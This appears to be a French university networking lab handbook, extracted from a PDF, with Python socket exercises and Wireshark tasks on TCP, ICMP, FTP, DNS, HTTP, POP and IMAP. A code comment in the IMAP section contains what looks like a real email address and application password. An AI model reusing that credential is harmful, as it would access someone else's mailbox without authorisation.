30 ConnexionAUnClient, addrclient = [Link]()
31 _thread.start_new_thread(Traiter_Connexion,(ConnexionAUnClient,addrclient))
32
37
Interopérabilité Client / Serveur
33
34
35
Pour illustrer ceci, lancez le code Serveur python avant de lancer le clients Java suivant qui fonctionne d'une
manière identique au client python :
1 /*
2 * To change this license header, choose License Headers in Project Properties.
3 * To change this template file, choose Tools | Templates
4 * and open the template in the editor.
5 */
6 package Test;
7
8 /**
9 *
10 * @author DVSR
11 */
12 import [Link].*;
13 import [Link].*;
14 import [Link];
15
16 public class Client {
17 public static void main(String [] args){
18 String NomDuServeur="[Link]";
19 int port=9500;
20 Socket ConnexionAUnServeur;
21
22 DataInputStream FluxDEntrer;
23 DataOutputStream FluxSortie;
24 String MessageATransmettre;
25
26 try {
27
38
Interopérabilité Client / Serveur
39
TP 2 Couche Transport
TP 2 Couche Transport
IV
Objectifs
Analyser l’entête TCP avec Wireshark ;
Travail à rendre : pour chaque question/étape prenez une capture d’écran complète (les captures
d'écran partielles ne seront comptabilisés).
[Link]
Lors du lancement de Wireshark soyez sûre que le logiciel est lancé en mode administrateur .
Ouvrez Wireshark et sélectionnez l'interface Npcap Loopback (1). Ensuite, insérez le filtre de port [[Link] ==
9500] en haut (2) afin d'observer seulement les paquets destinés / générés par le port TCP 9500.
Ci-dessous, les boutons permettant de a) d’arrêter la capture, b) redémarrer la capture, c) changer l'interface de
capture.
40
Exercice : Three way handshake et flags
1. Exécutez le client du TP1 ([Link] ) sans lancer le serveur et observez le résultat sur Wireshark.
Quels sont les flags affichés dans la capture Wireshark ?
2. Exécutez le serveur ([Link] du TP 1) et ensuit le programme Client et observez le résultat sur
Wireshark. Repérez les flags utilisés pour l'échange threeway-handshake dans la capture (les trois
premiers segments échangés entre le client et serveur).
3. Transmettez un message du client vers le serveur et repérez le contenu de la transmission sur Wireshark
(voir Figure 3).
4. Quels sont les flags utilisés dans le segment contenant les données envoyées par client ?
5. Quelles sont les options négociées initialement entre le serveur et client ( sélectionnez les deux
premiers échanges du three-way handshake afin de visualiser ces options)?
6. Transmettez un message "Fin" depuis le client vers le serveur afin de clôturer la connexion entre
serveur et client. Repérez les flags utilisés pour clôturer la connexion.
41
Exercice : Client jeux textuel Partie 1
Question
UDP est moins utilisé que TCP mais présente d'autres avantages. Par exemple, puisque le TWH n'est pas
nécessaire dans UDP, une application peut diffuser périodiquement sur un numéro de port spécifique afin que
d'autres programmes/appareils puissent détecter l’existence de celle-ci dans le réseaux local. C'est le cas des
jeux vidéos multijoueur dans le réseau local.
1 import socket
2 SocketUDP= [Link](socket.AF_INET, socket.SOCK_DGRAM) # ceration socket UDP
3 [Link](socket.SOL_SOCKET, socket.SO_BROADCAST, 1) # rendre le
socket UDP broadcast
4 Numero_Port=5000
5 AdresseDiffusion='[Link]'
6 MessageADiffuser=b'Votre message a diffuser dans le reseau' # contenu du message
diffusion
7 [Link](MessageADiffuser, (AdresseDiffusion, Numero_Port)) #
transmettre le message
42
Exercice : Client jeux textuel Partie 2
16 guess=""
17 while True:
18 guess+=[Link](1024).decode("ascii")
19 if "#TRY\r\n" in guess:break
20 guess=[Link]("#")[0]
21 if [Link]()==mot_aleatoire.lower():
22 [Link](("#YOUWON "+str([Link]()-start)+"\r\n").encode("ascii"))
23 [Link](b"#WRONG\r\n")
24 [Link]()
25
Question
Question
43
Exercice : Analyse du trafic Jupyter Notebook
Question 1
Quel est le numéro de port utilisé pour connecter à l'application Jupiter Notebook ? (regardez l'URL)
Lancez Wireshark et filtrez pour obtenir seulement les messages envoyés du navigateur web vers le serveur
Jupiter Notebook ([Link]==8888 pour éliminer les messages dans le sans inverse).
Question 2
Créez un nouveau Notebook python et repérez les messages échangés lors de cette opération sur Wireshark.
Utilisez le filtre [Link]==8888 && (http||json)
Question 3
Ajoutez du contenu à votre Notebook et enregistrez le. Repérez les message client avec le même filtre
précédant.
Question 4
Exécutez une cellule de code et repérez la réponse serveur. Utilisez le filtre [Link]==8888.
44
TP 3 Adressage (Couche Internet et Couche Liaison)
TP 3 Adressage (Couche
Internet et Couche V
Liaison)
Pour les étudiants souhaitant de tester ce TP à domicile, il suffit de connecter au réseau domestique et puis
utiliser des adresses IP du réseaux locale ([Link]--[Link]). Vous pouvez aussi utiliser le point
d'accès d'un Smartphone pour créer un réseau local :
Ouvrez votre CMD et Wireshark. Ensuite, ouvrez l'interface réseau que vous utilisez pour connecter au réseau
sur Wireshark (l'interface Wifi si vous êtes connecté au réseau local ou réseau de la faculté).
1. Connectez au réseau local et repérez les messages ARP diffusés dans le réseau (ajoutez un filtre arp.
opcode==2 || [Link]==1). Pour cette étape vous devez capturer l'interface Wifi ou Ethernet (les
message arp ne seront pas reçus par l'interface loopback);
2. Quels sont les types des messages ARP affichés après l'application du filtre ? Repérez votre adresse
MAC dans les messages ARP?
3. Exécutez la commande ping sur votre CMD vers une machine distante (ou vers le loopback [Link])
et repérez les paquets ICMP Echo request / reply dans Wireshark. Pour repérer les messages ICMP
echo request/reply, ajoutez le filtre [Link] == 0 || [Link]==8 dans la capture de paquets
Wireshark.
4. Sélectionnez un paquet ICMP echo request/reply et repérez le payload (champ Data du paquet ICMP)
généré par le ping dans le pacquet affiché par Wireshark.
5. Exécutez la commande tracert sur votre CMD vers une machine distante (ou site web par exemple
[Link]) et ajoutez le filtre [Link] == 0 || [Link]==8 || [Link]==11. Quels sont les types de
messages ICMP générés par la commende tracert ?
6. Repérez la copie du message expiré dans le message ICMP type 11 (Time Exeeded) .
Remarque : La commande traceroute de linux n'utilise pas ICMP Echo Request et ICMP Echo/Reply. Celle-ci
génère des Datagrames UDP vers la destination avec le même principe de TTL incrémenté que tracert. Ainsi,
les sauts intermédiaires répondent avec [Link]==11 et [Link]==3 ( si vous utilisez Linux vous devez
ajouter le filtre [Link] == 3 || [Link]==11).
45
Exercice : NAT (Network Address Translation)
1. Sélectionnez l'interface Wifi et exécutez le programme python suivant. Celui-ci transmet un message
UDP vers le port 50000 d'une machine locale (et cette dernière ne possède pas de programme écoutant
ce port). Ainsi, le contenu ne peut pas être livré.
2. Quel est le type du message ICMP et le code reçu à cause de cette transmission (capturez la
transmission avec Wireshark) ?
3. Repérez la copie du message qui n'a pas pu être livrer au port 50000 dans le message ICMP.
4. Changez l'adresse IP destination dans le programme suivant en mettant IP="[Link]" (ou
une adresse de votre choix dans le réseau local par exemple [Link] si vous êtes connectés au
réseau local chez vous) et MESSAGE ="ABC"*1500.(MESSAGE ="ABC"*1500 == une chaîne de
caractères de 4500 (3 x 1500) où "ABC" se répète pour 1500 fois)
5. Utilisez le filtre (ip.frag_offset!=0 || [Link]==1) dans Wireshark pour repérer la transmission des
fragments ;
6. Exécutez le code python et repérez les flags allumés dans le header IP pour indiquer la fragmentation.
1 import socket
2 IP = "[Link]"
3 PORT = 50000
4 MESSAGE = "Ey [Link]! tu ecoute le port 50000?"
5 print( "UDP target IP:", IP)
6 print( "UDP target port:", PORT)
7 print( "message:", MESSAGE)
8 #creation d'un socket UDP
9 sock = [Link](socket.AF_INET,socket.SOCK_DGRAM)
10 [Link]([Link](), (IP, PORT))
11
46
Exercice : NAT (Network Address Translation)
Après la fin de l'installation de la machine virtuelle , cliquez sur celle-ci et ensuite cliquez sur " Configuration..."
47
Exercice : NAT (Network Address Translation)
Exécutez le programme suivant dans votre machine virtuelle ( ouvrez le terminal et tapez "python
[Link]") ;
1 import socket
2 SocketServeur=[Link]()
3 [Link](("[Link]",5000))
4 [Link](4)
5 while True:
6 ConnexionAuClient, addr = [Link]()
7 print(ConnexionAuClient, addr)
8 print([Link](1024))
9 [Link](b"\r\n\r\n<html><body><h1>FAKEHTMLSERVER INC ©<
/h1></body></html>")
10 [Link]()
Dans votre système d'exploitation principale ouvrez votre navigateur et tapez url suivant : [Link]
Le site est accessible de touts les machines du réseau local ([Link] depuis n'importe quelle
machine) à condition que le programme serveur python est lancé.
48
Exercice : NAT (Network Address Translation)
49
TP 4 Couche Application - FTP
TP 4 Couche Application
- FTP VI
50
Exercice : Commandes FTP
Désactiver le parefeu windows (après la fin des tests TP, cliquez sur "Activer le Parefeu Windows Defender" )
ftp [Link]
ou bien
ftp [Link]
Question 1
- Authentifiez vous avec un login anonymous (accès anonyme) et puis tapez une adresse mail avec un
format valide (i@[Link] par exemple) comme mot de passe.
- Filtrez les communications sur Wireshark pour avoir seulement les échanges avec le serveur FTP (filtrez
avec adresse IP de préférence par exemple : [Link]==[Link] afin de filtrer la communication
avec le serveur FTP [Link]) ;
- Quelles sont les commandes qui précèdent le nom d'utilisateur et le mot passe respectivement?
Question 2
- Exécutez la commande ascii après la connexion en mode anonyme. Quelle est la commande transmise
par le client et le code de réponse renvoyé par le serveur ?
- Exécutez la commande pwd. Quelle est la commande transmise par le client et le code de réponse
renvoyé par le serveur ?
51
Exercice : Implémentation client FTP et ftplib
Question 3
Question 4
- Naviguez dans le répertoire : pour les gens qui testent ces commendes sur le serveur [Link],
Executez les commandes suivantes
CD pub/os/BSD/FreeBSD
GET [Link]
- Repérez les commandes transmises depuis le client dans wireshark.
- Repérez le fichier téléchargé dans wireshark avec le filtre [Link] == [Link] || ftp-data.
- Exécutez la commande binary sur le terminale. Quelle est la commende transmise qui correspond à celle-
ci.
Pour tester le programme, donnez une chemin d'un à fichier source sur votre disque dur et un chemin de sortie
valides. Par exemple C:\Python27\[Link]
52
Exercice : Implémentation client FTP et ftplib
Le programme précédant peut être abrégé comme suite. La méthode read() permet de lire le contenu entier du
fichier.
Le programme python suivant permet de se connecter à un serveur FTP (port 21) et d'exécuter des
commandes d'accès seulement (USER,PASS, CWD, QUIT).
1 import socket
2 import re
3 ConnexionAUnServeur = [Link]()
4
5 # Entrez l'adresse IP du serveur FTP depuis le clavier
6 print ("Entrez l'adresse IP du serveur FTP depuis le clavier :")
7 host = input()
8 port = 21 # numero de port
9 [Link]((host, port)) # etablisement de connexion avec le
10
11 while True:
12 recu=""
13 while True:
14 recu+=[Link](2028).decode()
15 m=[Link]("\d\d\d ",recu)
16 if len(m)!=0:
17 break
18 print(recu)
19 commande=input().encode()
20 [Link](commande+b"\r\n")
21
22 [Link]()
23
Le programme suivant utilise la librairie standard python ftplib qui permet d’exécuter n'importe quelle
commande FTP. Exécutez le programme et lisez le résultat.
1 import ftplib
2 # ouverture d'une connexion au serveur FTP
3 connexionftp=[Link]("[Link]")
4 print('\n######### Fin instruction [connexionftp=[Link]("[Link]")]\n')
5 # commande login anonyme
6 [Link]()
7
8 print( '\n######### Fin instruction [[Link]()]\n')
9 # commande NLST
10 print( '\n'.join([Link]()))
11
12 print( '\n######### Fin instruction [[Link]()]\n')
13
14 print([Link]("pub"))
15 print([Link]("ImageMagick"))
16 print('\n######### Fin instruction CD pub\ImageMagick')
17 # telechargement du fichier [Link]
53
Exercice : Implémentation client FTP et ftplib
Listing 3 - Ftplib
Le dernier programme montre comment exécuter des commandes système à partir d'un programme python.
Ces derniers peuvent être utiliser dans un programme serveur pour implémenter des fonctionnalité similaire à
FTP.
54
TP 5 DNS
TP 5 DNS
VII
Objectifs
Pour chaque capture d'écran existante dans cette fiche TP, vous devez avoir la même capture afin de
répondre aux questions lors de la consultation.
1. Exercice : nslookup
Ouvrez votre invité de commande et tapez ipconfig /all (ifconfig pour linux) et ensuite repérez votre
configuration DNS pour l’interface avec la quelle vous êtes connecté sur Internet. Vous pouvez voir l'adresse
IP de votre serveur DNS (voir la figure en bas)
- Tapez nslookup (outil de résolution de nom de domaine) et ouvrez wireshark avec votre interface
correspondante.
- Écrivez le nom de domaine [Link] dans l'invité de commande nslookup ;
- Appliquez le filtre suivant dans Wireshark : [Link] =="[Link]"
- L’envoie de la requête DNS retourne l'adresse IP du nom de domaine "[Link]". La requête
transmise par le Resolver (client nslookup) est une demande d'enregistrement A == Adresse record (
voir la capture d’écran Wireshark). Ce type d'enregistrement fait la correspondance entre un nom de
domaine et l'adresse IP correspondante (voir le cours).
- Par la suite la réponse correspondante à la requête est l'enregistrement de type A contenant l'adresse IP
de "[Link]".
55
Exercice : Enregistrements DNS
Question
- Tapez nslookup (outil de résolution de nom de domaine) et ouvrez wireshark (ainsi que votre interface
correspondante) .
- Écrivez le nom de domaine [Link] dans l'invité de commande nslookup ;
- Appliquez le filtre suivant dans Wireshark : [Link] =="[Link]"
- L’envoie de la requête DNS retourne l'adresse IP du nom de domaine "[Link]". La requête
transmise par le Resolver (client nslookup) est une demande d'enregistrement A == Adresse record (
voir la capture d’écran Wireshark). Ce type d'enregistrement fait la correspondance entre un nom de
domaine et l'adresse IP correspondante (voir le cours).
- Par la suite, la réponse correspondante à la requête est l'enregistrement de type A contenant l'adresse IP
de "[Link]".
- Pour récupérer l'adresse IPv6 d'un nom de domaine (si ce domaine possède une adresse IPv6 public),
tapez dans l'invité de nslookup les commandes suivantes :
set type=AAAA
[Link]
- Les deux commandes précédentes permettent de spécifier que le type d'enregistrement demandé est
l'adresse IPv6 public de [Link]. set type=AAAA change le type d'enregistrement demandé par la
requête DNS.
Si vous procédez à exécuter un ping vers [Link] et [Link], vous remarquerais que
les deux machines auront la même adresse IP (voir le déroulement du ping, l'adresse IP des deux domaines est
identique).
56
Exercice : Enregistrements DNS
Question 2
- Pour récupérer l'enregistrement CNAME, alias d'un nom de domaine si celui-ci possède un alias, tapez
dans l'invité de nslookup les commandes suivantes :
set type=CNAME
[Link]
- Les deux commandes précédentes permettent d'avoir l'alias de [Link]. Dans cet
exemple, [Link] pointe sur [Link] (voir la capture d'écran).
- [Link] possède l'adresse IP [Link]
- CNAME == Canonical Name ou bien nom canonique.
Question 3
- Pour récupérer les noms des serveurs mail dans un domaine, il suffit de changer le type de
l'enregistrement demandé (set type=MX) :
set type=MX
[Link]
- Les noms des serveurs retournés sont des noms de domaine SMTP. La valeur de préférence permet de
choisir entre plusieurs serveurs mail ( une valeur de préférence plus petite indique une préférence
supérieur par rapport aux autres serveurs mail disponibles). Dans cet exemple : Le serveur mail préféré
de google est == [Link] (la valeur de préférence minimale);
- Plusieurs serveurs mail peuvent coexister dans un domaine pour que le système soit tolérant au pannes (si
un serveur ne peut pas recevoir le mail entrant, le prochain serveur mail selon la valeur de préférence
est choisi pour l’échange du mail en question) ;
- MX= Mail eXchanger ;
57
TP 6 HTTP
TP 6 HTTP
VIII
Objectifs
Avant de commencer le TP, téléchargez les programmes utilisés depuis le lien suivant : [Link]
[Link]/drive/folders/1NhOUraoJ_ydygwBxHOGdiVNRJD6F-L9-
Les démonstrations suivantes montrent comment accéder à des ressources HTTP. Cependant, ces
requêtes ne s’exécuteront pas pour un site HTTPS (la communication HTTPS nécessite deux autres
étapes supplémentaires qui vont être expliqués prochainement) ;
Les librairies urllib et requests permettent d’exécuter les requêtes http d'une manière plus simple,
mais pour comprendre comment ça fonctionne au bas niveau, ces démonstrations utilisent les
sockets ;
Pour chaque capture d'écran existante dans cette fiche TP, vous devez avoir la même capture de votre
travail afin de répondre aux questions lors de la consultation.
58
Exercice : Requête HEAD
Le résultat de la requête GET / sera la réponse suivante (entêtes de la réponse serveur web + la page web
renvoyée par le serveur) :
59
Exercice : Entête Range
12
13 # l'url de cette requete = / (racine)
14 [Link](b"HEAD / HTTP/1.1\r\nHost:[Link].
com\r\nConnexion:close\r\n\r\n")
15 rec=[Link](1024)
16 # lire le contenu jusqu'a la fin
17 while True:
18 if len(rec)==0:
19 break
20 print([Link]("unicode_escape"),)
21 rec=[Link](1024)
22
Le résultat de la requête sera la réponse suivante (entêtes descriptifs de la ressource sans la ressource elle
même : taille de la ressource 20757 octets, type de la ressource texte html, le serveur accepte les réponses
partielles) :
Le résultat de la requête sera la réponse suivante (les octets de 500 à 1000 de la page demandée) :
60
Exercice : Requête OPTIONS
61
Exercice : Requête If-Modified-Since
Le résultat de la requête sera la réponse suivante (les méthodes permises sur l'url donné):
Le résultat de la requête sera la réponse suivante (le serveur a répondu avec le code 304 pour dire que la
ressource n'a pas été modifiée Mon, 07 Jun 2004 00:26:52 GMT):
Après l'exécution du code précédant, le serveur ne transmet pas la ressource car celle-ci n'a pas été modifiée
ultérieurement à la date indiquée par l’entête If-Modified-Since (Mon, 07 Jun 2005 00:26:52 GMT).
Question
Modifier la valeur de l'entête If-Modified-Since , afin que le serveur revoie la ressource demandée.
62
Exercice : Téléchargement de fichier (png, jpeg, exe) depuis le serveur Web
Le code suivant envoie une requête pour le fichier "/free/diagrams/[Link]" (ligne 9) et l'enregistre
dans un fichier "[Link]". Après la réception du fichier complet, celui-ci est fermé avec la méthode
close() (ligne 29).
Après l’exécution du code, un fichier "[Link]" sera créé dans le même répertoire que le code source.
Ouvrez celui pour voir le résultat.
63
Exercice : Téléchargement de contenu avec HTTPS
La différence entre HTTP et HTTPS est le fait que dans HTTPS, tout juste après l'établissement de connexion
TCP entre le client et le serveur, les deux parties s'échangent leurs certificats numériques contenant la clé
publique (RSA). En suite, une clé privée est partagée (AES) entre le client et serveur.
Après la distribution des clés, les requêtes client et les réponses serveur sont les même que HTTP mais sont
chiffrées. L'échange de certificat et les opérations de chiffrement sont assurées par le module SSL (Secure
Socket Layer) en python (ligne 6 et ligne 12). Le code suivant connecte au serveur HTTPS [Link], et
télécharge le fichier pdf contenu de l'url /api/certificate.v1/pdf/HDC2GWUR3YT4 dans un fichier "[Link]":
1
2 # -*- coding: cp1252 -*-
3 # -*- @author: codek -*-
4 import socket
5 connexionTCP=[Link]()
6 import ssl
7 Serveur="[Link]"
8 Port=443
9
10 [Link]((Serveur,Port))
11 ConnexionAuServeurHTTPS=ssl.create_default_context().wrap_socket(connexionTCP,
server_hostname=Serveur)
12
13 [Link](b"GET /api/certificate.v1/pdf/HDC2GWUR3YT4 HTTP/1.
1\r\nHost:[Link]\r\nConnection:close\r\n\r\n")
14 rec=b""
15 while 1:
16 if b"\r\n\r\n" in rec:
17 break
18 rec+=[Link](1024)
19 rec=rec[[Link](b"\r\n\r\n")+4::]
20 fichier_=open("[Link]","wb")
21 while True:
22 if len(rec)==0:
23 break
24 fichier_.write(rec)
25 rec=[Link](1024)
26 fichier_.close()
27 [Link]()
28
64
Exercice : requests
Question 2
Question 3
Ouvrez Wireshark et filtrez pour trouver les paquet IP contenant des segments TCP, transmis ou reçus de
[Link]. Ensuite, utilisez votre navigateur pour accéder à la ressource [Link]
Repérez les échanges TLS entre le client et le serveur après le Three Way Handshake.
8. Exercice : requests
Question
Le programme suivant montre comment utiliser la bibliothèque requests au lieu des sockets pour interroger un
serveur Web (équivalant au 1er programme de la série). Ce module doit être installé (pip install requests) :
Voir ci-dessous comment la fonction telecharger_ressources doit être appelée avec l'exemple d'URL (la liste
d'URLs ressources =["/free/diagrams/[Link]","/free/diagrams/[Link]"], chemins=["test.
png","[Link]"]):
1 import socket
2 ConnexionAuServeurHTTP=[Link]()
3 Serveur="[Link]"
4 Port=80
5 [Link]((Serveur,Port))
6
7 def telecharger_ressources(con_serveur,server_name,ressources,chemins):
8 # à implémenter
9 pass
65
Exercice : Cookies HTTP
10 telecharger_ressources(ConnexionAuServeurHTTP,Serveur,["/free/diagrams
/[Link]","/free/diagrams/[Link]"],["[Link]","[Link]"])
Donnez un programme qui utilise cette fonction pour télécharger des ressource à partir d'un serveur HTTP.
Indice :
- Pour maintenir la connexion avec le serveur vous devez utiliser la version HTTP 1.1 dans votre
requête et l’entête général Connection: keep-alive.
- Dans la réponse serveur, recherchez l’entête Content-Length pour retrouver la taille de la ressource à
recevoir
1 import socket
2 s=[Link]()
3 [Link](("[Link]",80))
4 [Link](30)
5 contenu="<h1> Page HTML</h1>"
6 votre_cookie=input("Entrez la valeur de la variable votre_cookie: ")
7 header='HTTP/1.1 200 OK\r\nConnexion:close\r\nDate: Thu, 17 Jan 2019 13:18:42
GMT\r\nServer: Apache/2.4.37\r\nAccept-Ranges: bytes\r\nContent-Length: %
d\r\nContent-Type: text/html\r\nSet-Cookie:%s\r\n\r\n'%(len(contenu),votre_cookie
)
8 while True:
9 con,_=[Link]()
10 [Link]([Link]())
11 [Link]([Link]())
12 [Link]()
Question
- Lancez Wireshark sur l'interface localhost et filtrer afin de retrouver seulement les requêtes GET reçues
sur le port TCP 80 ([Link]==GET).
- Exécutez le code serveur précédant et connectez avec un navigateur webà ce serveur ([Link]
Avant que le serveur se lance, vous devez introduire la valeur de la variable votre_cookie au clavier.
- Repérez la chaîne de caractères que vous avez introduit au clavier dans l’entête Cookie : de la requête de
votre navigateur avec Wireshark (prenez une capture d'écran de l’entête Cookie).
66
TP 7 POP, IMAP et SMTP
TP 7 POP, IMAP et
SMTP IX
Les codes des programmes Python 3 sont téléchargeables depuis le répertoire Google Drive suivant :
[Link]
[Link]
67
Exercice : Accédez à une boite mail avec POP
POP (Post Office Protocol) est un protocole très simple permettent de connecter à une boite mail et télécharger
les mails stockés dedans. Voici les commandes les plus importantes :
1. USER, PASS fonctionnent comme dans FTP pour transmettre le login (boite mail) et mot de passe :
2. STAT : renvoie le nombre de mails dans la boite et la taille totale occupée par celle-ci ;
3. LIST : renvoie une liste contenant le numéro de chaque mail accompagné avec ça taille ;
4. RETR : récupère le mail désigné par le numéro en paramètre sous format RFC 822 (voir le cours
SMTP).
5. TOP : renvoie les entêtes du message désigné et les N premières lignes du message ;
6. UIDL : retourne la liste des identificateurs uniques des messages dans la boite ;
7. QUIT : ferme la session avec le serveur POP
68
Exercice : Client IMAP
server_hostname=NomDomaineDuServeurPOP)
24 Commande=""
25 # liste de commande pour les quels la reponse setermine par "\r\n.\r\n" (un
point au debut de la ligne)
26 ListeCommande=["list","top","retr","uidl"]
27 while True:
28 Delimiteur=""
29 for command_terminer_par_unpoint in ListeCommande:
30 # si la commande issue par le client appartient a ListeCommande
31 # la reponse de cette commande doit se terminee par "\r\n.\r\n"
32 if([Link]().lower().startswith(command_terminer_par_unpoint)):
33 Delimiteur="\r\n.\r\n"
34 # les autres commande comme QUIT, PASS et USER auront une seule ligne
de reponse seulement(+OK ou -ERR )
35 print(RecevoirLaReponseServeur(ConnexionSecurise,Delimiteur))
36 if([Link]().lower().startswith("quit")):
37 break
38 Commande=input()
39 [Link]((Commande+"\r\n").encode())
40 [Link]()
41
Question
Testez les commandes suivantes et faites des captures d’écran des résultats (vous devez utiliser le mot de passe
application que vous avez généré au début du TP ainsi que l’adresse mail que vous avez créé ):
- USER Votre_@MAIL
- PASS Votre_MDP_Application
- STAT
- UIDL
- LIST
- RETR 3
- QUIT
1 #hhwuejxvuxccwcit master1rsdtp@[Link]
2 #master1rsdtp@[Link] hhwuejxvuxccwcit
3 # code python 3 client POP
4 #code python 3 client IMAP
5 #code python 3 client IMAP
6 import socket
7 import ssl
8 import time
9 def RecevoirLaReponseServeur(ConnexionSecurise, Tag_Commande):
10 Reponse_recu=[Link](1024).decode("ascii")
11 Delimiteur_De_Fin_De_Reponse=Tag_Commande+" "
12 while True:
13 # lire la reponse jusqu'a atteindre la sequence de caratere
Delimiteur_De_Fin_De_Reponse (TAG de la commande)
14 if(Delimiteur_De_Fin_De_Reponse in Reponse_recu):
15 break
16 Reponse_recu+=[Link](1024).decode("ascii")
17 return Reponse_recu
69
Exercice : Client IMAP
18
19 NomDomaineDuServeurIMAP="[Link]"
20 ConnexionAuServeur=[Link]()
21 [Link]((NomDomaineDuServeurIMAP,993))
22 # creation d'une connexion securise
23 ConnexionSecurise=ssl.create_default_context().wrap_socket(ConnexionAuServeur,
server_hostname=NomDomaineDuServeurIMAP)
24 Commande=""
25 # recevoir le message de connexion
26 print( [Link](2048).decode("ascii"))
27 TAG_Commande=""
28 while True:
29 # lire la commande
30 Commande=input()
31 # cree un tag apartir de l'horloge systeme ([Link]())
32 TAG_Commande_Horloge=str(int([Link]()))
33 # envoie de la commande avec le TAG horloge
34 [Link]((TAG_Commande_Horloge+" "+Commande+"\r\n").encode(
"ascii"))
35 print( RecevoirLaReponseServeur(ConnexionSecurise,TAG_Commande_Horloge))
36 # si la commande tapee par le client == LOGOUT, sortir de la boucle de
lecture de commandes
37 if([Link]().lower().startswith("logout")):
38 break
39 [Link]()
40
Question
Testez les commandes suivantes et enregistrez les captures d'écran (vous devez utiliser le mot de passe
application que vous avez généré au début du TP ainsi que l’adresse mail que vous avez créé ). Lisez bien les
réponses serveur pour comprendre le traitement :
- CAPABILITY
- LOGIN Votre_@MAIL Votre_MDP_Application
- LIST "" "*"
- SELECT INBOX
- FETCH 2 FLAGS
- FETCH 2 [Link][TEXT]
- STORE 2 +FLAGS (Answered)
- FETCH 2 FLAGS
- FETCH 2 [Link][[Link] (To From Date Content-Type)]
- UID FETCH 4 [Link][[Link] (To From Date Content-Type)]
- SEARCH SINCE 22-MAR-2018
- SEARCH BEFORE 31-DEC-2018
- SEARCH FROM codek9111@[Link]
- SEARCH ALL
- UID SEARCH ALL
- FETCH 2 FLAGS
- CLOSE
70
Exercice : Envoie mail par SMTP
AUTH=XOAUTH
5
6 Prefixe_Commande_TAG001 OK Thats all she wrote! j4mb1024322636wrw
7
8 Prefixe_Commande_TAG002 LOGOUT
9 * BYE Logout Requested j4mb1024322636wrw
10
11 Prefixe_Commande_TAG002 OK Quoth the raven, nevermore... j4mb1024322636wrw
71
Exercice : Décoder le contenu avec l'encodage 64bits
Comme expliqué dans le cours, les commandes SMTP seront échangées avec le serveur pour transmettre le
message. Sauf que ici, le programme utilisateur connecte à ça boite mail (afin de s'authentifier) avant de
transférer le mail au serveur où ça boite mail est localisée. Ci dessous, la figure explique les commandes les
plus importants dans ce processus :
72
Exercice : Décoder le contenu avec l'encodage 64bits
1 # code python 3
2 def Decode64bits(_4Octets_lu):
3 # prendre en parametre 4octets (4 caracteres)
4 global FichierDecode # variable globale
5
6 Sequence_4Octets=_4Octets_lu
7 ValeurBinaire=""
8 # si la sequence de caractere contient "=" alors celle-ci marque la fin du
fichier
9 if("=" in Sequence_4Octets):
10 # elimine les caractere "=" a la fin de la sequence
11 Sequence_4Octets=Sequence_4Octets[:Sequence_4Octets.find("="):]
12
13 for octet_indx in range(len(Sequence_4Octets)):
14 # convertir le caractere a ca representation 64bits et ensuite vers ca
representation binaire
15 binval=bin(ConvertirCaracter64bits(Sequence_4Octets[octet_indx]))[2::]
16 # complete la representation binaire par des 0s a gauche (pour avoir une
representation 6bits)
17 binval="0"*(6-len(binval))+binval
18 ValeurBinaire+=binval
19
20 for Threebits_char in range(0,len(ValeurBinaire),8):
21 if(Threebits_char+8>len(ValeurBinaire)):
22 break
23 # pour toutes les sequence de 8 bits dans ValeurBinaire
24 # obtenir le caractere 8bits correspandant
25 CaractereASCII8bits=chr( int("0b"+ValeurBinaire[Threebits_char:
Threebits_char+8:],0) )
26 #print ([Link](),ord(CaractereASCII8bits))
27 # enregistrer le caractere sur fichier
28 [Link](bytes([ord(CaractereASCII8bits)]))
29 L=len(ValeurBinaire)
30 # s'il reste des bits supplementaires
31 if(L%8!=0):
32 # si la sequence de bits ne contient pas que des 0
33 if("0"*(L%8)!=ValeurBinaire[L-L%8::]):
34 # complete la representation par des 0 a droit
35 CaractereASCII8bits=chr( int("0b"+ValeurBinaire[L-L%8::]+(8-L%8)*"0",
0) )
36
37 # enregistrer le caractere sur fichier
38 [Link](bytes([ord(CaractereASCII8bits)]))
39
40 #fin de la procedure Decode64bits
41
42 # si le caractere n'appartient pas a [A..Z, a..z, 0..9, +, / , =], supprimer le
caratere
43 def SupprimerCaracteresSupplementaires(Contenu):
44 Contenucleaned=""
45 for octet in Contenu :
46 caractere=(chr(octet))
47 if(caractere>='A' and caractere<='Z'):
48 Contenucleaned+=caractere
73
Exercice : Décoder le contenu avec l'encodage 64bits
49 continue
50 if(caractere>='a' and caractere<='z'):
51 Contenucleaned+=caractere
52 continue
53 if(caractere>='0' and caractere<='9' ):
54 Contenucleaned+=caractere
55 continue
56 if(caractere=="+"):
57 Contenucleaned+=caractere
58 continue
59 if(caractere=="/"):
60 Contenucleaned+=caractere
61 continue
62 if(caractere=="="):
63 Contenucleaned+=caractere
64
65 return Contenucleaned # fin de la procedure
SupprimerCaracteresSupplementaires
66
67 # obtient la representation 64bits du caractere
68 ''' [A .. Z] = [0..25]
69 [a .. z] = [26..51]
70 [0..9]=[52..61]
71 "+" = 61
72 "/" = 62
73 "=" = 0 ( contrairement a A, les "=" sont ajoutes a la fin
74 pour que la taille de la chaine encdee soit un multiple de 4
75 '''
76 def ConvertirCaracter64bits(caractere):
77 if(caractere>='A' and caractere<='Z'):
78 return ord(caractere)-65
79 if(caractere>='a' and caractere<='z'):
80 return ord(caractere)-71
81 if(caractere>='0' and caractere<='9' ):
82 return ord(caractere)+4
83 if(caractere=="+"):
84 return 62
85 if(caractere=="/"):
86 return 63
87 # le dernier cas correspond a "=" (si caractere=="=" return 0)
88 return 0 # fin de la procedure ConvertirCaracter64bits
89
90 # lire le fichier qu'ont souhaite decoder
91 FichierEncode =open("[Link]",'rb')
92 # ouvrir le fichier dans le quel ont souhaite enregistrer le fichier decode
93 FichierDecode=open("[Link]","wb")
94
95
96 Contenu=""
97 Contenu_Restant=""
98 # lire le fichier. Pour chaque morceau de d'octets
99 for Octets in FichierEncode:
100
101 Contenu=Octets
102 Contenu=SupprimerCaracteresSupplementaires(Contenu)
103 Contenu=Contenu_Restant+Contenu
104 l=len(Contenu)
105 Contenu_Restant=""
106 # prendre une partie de la chaine de caratere avec une taille multiple de 4
74
Exercice : Décoder le contenu avec l'encodage 64bits
Pour tester ce code sur un contenu encodé par cette méthode, exécutez les étapes suivantes :
75
Exercice : Comment configurer votre boite pour l'accès POP et IMAP
76
Exercice : Comment configurer votre boite pour l'accès POP et IMAP
Afin de configurer comment le serveur IMAP et serveur POP traitent votre boite (par exemple, est ce que les
messages seront supprimés après l'accès par POP), accédez à Transfert et POP/IMAP.
77
TP 8 Scan réseaux et sécurité
TP 8 Scan réseaux et
